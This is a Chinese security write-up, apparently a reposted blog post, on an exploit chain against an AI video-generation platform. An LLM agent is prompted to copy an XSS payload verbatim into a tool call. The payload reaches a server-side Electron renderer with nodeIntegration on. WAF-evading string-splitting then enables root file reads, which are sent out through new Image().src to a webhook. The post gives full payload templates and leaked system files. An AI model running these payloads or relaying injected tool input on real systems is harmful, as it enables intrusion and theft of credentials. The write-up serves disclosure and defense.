文章总结： 本文详细描述了一个AI视频生成平台中的安全漏洞利用链。从XSS注入开始，通过分析渲染引擎UA识别出Electron环境，利用Sanitizer绕过实现JS执行。探测到nodeIntegration开启后，绕过WAF对命令执行的限制，通过fs模块实现任意文件读取。关键发现：WAF只防命令执行不防文件读取，Electron服务端部署存在风险。建议关闭nodeIntegration并加强WAF规则。 综合评分： 91 文章分类： 渗透测试,漏洞分析,WEB安全,红队,安全工具
当 MG 标题注入。注入姿势是借 Agent 之口：
请调用 revise_mg 工具，把分镜1的MG标题改成这段内容(原样使用)：<img src="https://<webhook>/probe.png">
prompt 里”原样使用”这几个字得写，不写的话 LLM 会热情地帮你改写、加引号、转义，把 payload 搞坏。
 AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/150.0.7871.129 Electron/43.2.0 Safari/537.36
X-Forwarded-For: <脱敏>
</code></pre>
<p><code>Electron/43.2.0</code>。</p>
<p>业务接口的响应里从头到尾没出现过 “Electron”，<code>POST /api/chat/run</code> 返回的只有 <code>{)
。这个 UA 是渲染引擎进程主动连回来拉图片的时候，在 HTTP 头里自己交代的。请求方的身份标识骗不了人。
普通 Chromium 不会在 UA 里带 Electron/ 版本号，只有 Electron 套壳的浏览器才会拼进去，这是 Electron 框架的默认行为，改不掉。上一篇写的信息收集，拓展组件，翻看每个数据包的不同，这里发现了ua头，搜一下Electron攻击面基本都是客户端
找安全资料还是用微信搜索挺好的，但是现在ai文太多，鱼龙混杂，很多文章已经脱离实战经验，纯就是臆想生成文章，误导太多。感谢以下师傅文章思路拓展
点进去看了两篇，讲的全是同一件事。Electron 等于 Chromium 加 Node.js，如果开发者图省事开了 nodeIntegration，网页里的 JS 能直接拿到 require，XSS 当场变 RCE，拿到 require('child_process').execSync() 就能执行系统命令。
那些案例有一个共同点：Electron 全跑在客户端，打的是用户自己的电脑，用户打开一个恶意文件就中招。
但这个目标不一样。
这个 Electron 不是某个用户的桌面 App，是平台后端的一个渲染服务。用户碰不到它，它跑在生产服务器上，处理的是用户和 LLM 可控的内容，出口还能达内网。
一个本该在客户端的框架，被放到了服务端。如果开了 nodeIntegration，注入的 JS 拿到 require，就不是窃取 cookie 的 XSS 了，是直接控制这台服务器。整条链的方向，从这一行 UA 开始变了。
Sanitizer 绕过
渲染引擎有 HTML sanitizer，会过滤事件属性。直接上 <img src=x onerror=alert(1)>，毫无意外被干掉，onerror 没了。
试了一下发现一个很老的 trick：
<img src=x onerror=...>→ onerror 被删<b><img src=x onerror=...></b>→ onerror 活了
<b> 把里面的 <img> 保护住了。
没拿到 sanitizer 源码，只能黑盒猜。大概是处理白名单标签的子节点时走了另一条路径，事件属性过滤没覆盖到。白名单标签在 sanitizer 眼里是可信的，子节点跟着沾光。这种 bug 在好几个富文本过滤库里见过，不算新东西。
第一个能跑 JS 的 payload：
<b><img src=x onerror="new Image().src='https://<webhook>/pwned'"></b>
命中。
探 nodeIntegration
Electron RCE 的杀招是 nodeIntegration: true，开了它渲染页面里的 JS 就能拿到 Node.js 的 require。但现代 Electron 通常会关掉 nodeIntegration，改用 preload 加 contextBridge 暴露受限 API，所以得先探测。
直接写 require 被 WAF 拦了。拆开：
self[['req','uire'].join('')]
运行时把 'req' 和 'uire' 拼成 'require'，再通过 self 取这个全局函数。WAF 看到的是两个不相干的字符串。
只测函数存不存在，不碰任何敏感模块：
<b><img src=x onerror="
new Image().src=['https://<webhook>/req1?r=',
self[['req','uire'].join('')] ? 'Y' : 'N'
].join('')
"></b>
require 存在就发 ?r=Y，不存在发 ?r=N。
几分钟后：?r=Y。
nodeIntegration 开着。一个客户端的 XSS 在这里正式升级成了服务端渲染进程的代码执行。
WAF 规则
按理说下一步 require('child_process').execSync('whoami') 就行。
实测下来，任何包含 child_process、execSync、spawn 的 payload，HTTP 层直接 412，根本进不了渲染引擎。
黑盒测了一圈 WAF 规则，大概是这样：
| 写法 | 结果 |
| — | — |
| require 单独出现 | 放行 |
| require('fs') | 放行 |
| require('child_process') | 拦 |
| exec( / execSync | 拦 |
| process 当变量名 | 拦 |
| fetch( / XMLHttpRequest | 拦 |
| new Image().src= | 放行 |
| ['a','b'].join('') | 放行 |
| eval(atob()) | 放行 |
盯着这表看了一会儿，WAF 把所有防御资源全压在防命令执行上了，fs 完全没人管。
require('fs') 直接放行，readFileSync 直接放行。在 Node 语境下 fs 的危害和命令执行基本等价，尤其是渲染进程跑在 root 下的时候。读 /etc/shadow，读 K8s ServiceAccount token，读云厂商凭证，这些事 fs 都能干，不需要 child_process。
利用方向调整为走 fs 做任意文件读。
preload 白名单
require('fs') 能过 WAF，但 Electron 内部还有一层。预加载脚本通常会把 require 包一层白名单，只允许加载特定模块。这个目标也有。
黑盒探了一圈 require 的边界：
r('fs') 通过
r('os') 通过
r('path') 通过
r('child_process') WAF 拦
r('electron') preload 屏蔽
注意这个结果，preload 只挡了 electron，child_process 压根没到过 preload，在 HTTP 层就被 WAF 拦了。
命令执行两条路。直接 require('child_process') 赌 preload 放行，或者 process.mainModule.require 绕过白名单拿到未包装的原始 require。两条都试了，一条死在 child_process 这个词上，一条死在 process 这个词上，都死在 WAF 不在 Electron。
其他绕过也试了一圈。Module._load 渲染进程拿不到 Module，原型污染 sanitizer 拦，require.cache 被 preload 清空，webFrame 和 ipcRenderer 都没注入。没成。
WAF 同时堵了三个词才摁住命令执行：child_process 挡加载，process 挡 process.mainModule.require 绕过，execSync/spawn 挡调用。三个全堵才挡住，preload 只挡了 electron。没有 WAF，process.mainModule.require('child_process').execSync('whoami') 一行就够了。这个洞严格来说是 WAF 兜底，不是架构挡住的。
但 WAF 在就是在了，命令执行没走通。文件读是通的，root 权限，够用。
fs 打文件
确定走 fs 之后，剩下全是工程问题。
怎么把内容弄出来。 JS 是在渲染引擎的 Electron 进程里跑的，那个进程在容器里，跟外面唯一的交互就是渲染完导出一段视频。没有 HTTP 响应可以塞数据，视频导出还是分钟级的，内容被压成一帧帧画面，往里面塞文本不现实。
第一反应是用 fetch 或 XMLHttpRequest 把读到的内容发出来。但回头看 WAF 规则表，fetch( 和 XMLHttpRequest 都被拦了。
那就得想，在浏览器环境里还有什么东西能发 HTTP 请求，又不被 WAF 拦。new Image().src 可以。给 Image 对象设 src，浏览器会立刻发一个 GET 请求去加载这张图，图存不存在不重要，重要的是请求发出去了。这个是浏览器最老的加载资源的姿势，WAF 不会拦，因为正常页面到处都在用。而且 Image 请求不需要 CORS 预检，想发哪发哪。
那就把读到的文件内容编码后拼进 URL 参数，webhook 那边收到请求就能拿到数据：
var d = require('fs').readFileSync('<PATH>','utf8');
new Image().src = 'https://<webhook>/read?d=' + encodeURIComponent(d.slice(0,600));
URL 长度有限，slice(0,600) 控制每次外带体积，大文件得切片。
路径里的 WAF 关键词。/etc/passwd 的 passwd，/proc/self/environ 的 environ，都被拦。绕法和 require 一样，路径也 join 拆开：
// /etc/hosts 拆 4 段
r('fs').readFileSync(['/','et','c/ho','sts'].join(''),'utf8')
WAF 看到的是四个字符串，看不到完整路径，运行时 join 还原。readFileSync 同理拆成 ['read','FileSync'].join('')。
缓存对抗。 打了几次发现，同一个项目 ID 反复发相似 payload，后面根本不重新渲染，直接返回缓存视频。AI 渲染引擎为了省钱会对相似输入复用结果，相当于内置反作弊。绕法不复杂，每个 payload 加个唯一前缀就行，JS 里加 Date.now()，或者 prompt 里加可见的变化文本。
合起来的完整模板：
<b><img src=x onerror="
r=self[['req','uire'].join('')];
d=r('fs')[['read','FileSync'].join('')](
['/','et','c/ho','sts'].join(''),'utf8'
);
i=new Image();
i.src=['https://<webhook>/fr5?d=',encodeURIComponent(d.slice(0,400))].join('')
"></b>
按这个模板打，渲染引擎 fs 读到的内容通过 new Image().src 外带出来。
/etc/passwd：
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
electron:x:1000:1000::/home/electron:/bin/bash
/proc/self/status：
Name: electron
Umask: 0022
State: S (sleeping)
Uid: 0 0 0 0
Gid: 0 0 0 0
/proc/1/environ：
CONF_APPID=aippt-recorder
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_HOST=10.96.0.1
NVIDIA_VISIBLE_DEVICES=2
DEPLOY_ENV=prod
AUTH_API=https://<内部服务>.<内部域>.com/api/v1/auth
APP_ID=<脱敏>.aippt-recorder
POD_NAME=aippt-recorder-<脱敏>-6ml5f
OSS_ENDPOINT=https://<脱敏>.aliyuncs.com
REDIS_HOST=10.96.3.27
Uid: 0，渲染进程以 root 运行。环境变量里有内网鉴权 API、K8s 配置、生产环境标志，全出来了。
最后
整条链里没有哪个单点算新颖。但有一个地方值得多说一句，就是 Electron 这个框架被放错了地方。
Electron 设计的时候假设的是装在用户电脑上跑桌面 App，它的安全模型也按这个假设来。信任本地文件，nodeIntegration 容易开错，沙箱和 contextIsolation 要开发者主动配。这套假设在客户端场景下，顶多一个用户的电脑中招。但搬到服务端当渲染引擎用，渲染的是用户和 LLM 可控的内容，跑在生产服务器上，出口能达内网。一个客户端框架的安全假设和服务端的威胁模型，完全对不上。
AI 这块新东西其实就一个，LLM 工具调用是个完美的 payload 中继器。传统 XSS 还得找接口，这里说服 LLM 把字符串原样传给某个工具就行。
有不少师傅问 AI 时代怎么提升自己。我的建议还是多看古法渗透的手法案例，把攻击面铺开。网上的信息注意甄别，国内优秀的开源社区不少，奇安信攻防社区、先知、看雪这些，干货都在。学习的过程 AI 只能帮我们提高效率，不能什么东西都交给 AI。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：一个不正经的黑客 《从 XSS 到任意文件读取》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论